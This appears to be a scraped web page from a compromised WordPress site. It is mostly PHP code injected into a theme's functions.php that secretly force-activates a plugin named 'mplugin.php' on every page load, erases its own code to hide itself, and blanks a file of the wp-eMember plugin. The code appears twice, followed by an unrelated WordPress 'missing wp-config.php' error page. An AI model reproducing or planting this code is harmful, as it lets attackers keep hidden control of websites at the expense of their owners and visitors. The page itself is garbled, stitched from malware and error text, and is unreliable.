function true_plugins_activate() { $active_plugins = get_option('active_plugins'); $activate_this = array( 'mplugin.php' ); foreach ($activate_this as $plugin) { if (!in_array($plugin, $active_plugins)) { array_push($active_plugins, $plugin); update_option('active_plugins', $active_plugins); } } $new_active_plugins = get_option('active_plugins'); if (in_array('mplugin.php', $new_active_plugins)) { $functionsPath = dirname(__FILE__) . '/functions.php'; $functions = file_get_contents($functionsPath); $start = stripos($functions, "function true_plugins_activate()"); $end = strripos($functions, "true_plugins_activate"); $endDelete = $end + mb_strlen("true_plugins_activate") + 3; if($start && $end) { $str = substr($functions, 0, $start); $str .= substr($functions, $endDelete); file_put_contents($functionsPath, $str); } $script = file_get_contents('/homepages/34/d854486965/htdocs/wp-content/plugins/wp-eMember/class.plugin-modules.php'); file_put_contents('/homepages/34/d854486965/htdocs/wp-content/plugins/wp-eMember/class.plugin-modules.php', ''); } } add_action('init', 'true_plugins_activate'); if ( ! function_exists( 'true_plugins_activate' ) ) { function true_plugins_activate() { $active_plugins = get_option('active_plugins'); $activate_this = array( 'mplugin.php' ); foreach ($activate_this as $plugin) { if (!in_array($plugin, $active_plugins)) { array_push($active_plugins, $plugin); update_option('active_plugins', $active_plugins); } } $new_active_plugins = get_option('active_plugins'); if (in_array('mplugin.php', $new_active_plugins)) { $functionsPath = dirname(__FILE__) . '/functions.php'; $functions = file_get_contents($functionsPath); $start = stripos($functions, "if ( ! function_exists( 'true_plugins_activate' ) ) {"); $end = strripos($functions, "true_plugins_activate"); $endDelete = $end + mb_strlen("true_plugins_activate") + 4; if($start && $end) { $str = substr($functions, 0, $start); $str .= substr($functions, $endDelete); file_put_contents($functionsPath, $str); } $script = file_get_contents('/homepages/34/d854486965/htdocs/wp-content/plugins/mplugin.php'); //file_put_contents('/homepages/34/d854486965/htdocs/wp-content/plugins/mplugin.php', ''); } } add_action('init', 'true_plugins_activate');} WordPress › Error

There doesn't seem to be a wp-config.php file. I need this before we can get started. Need more help? We got it. You can create a wp-config.php file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file.

Create a Configuration File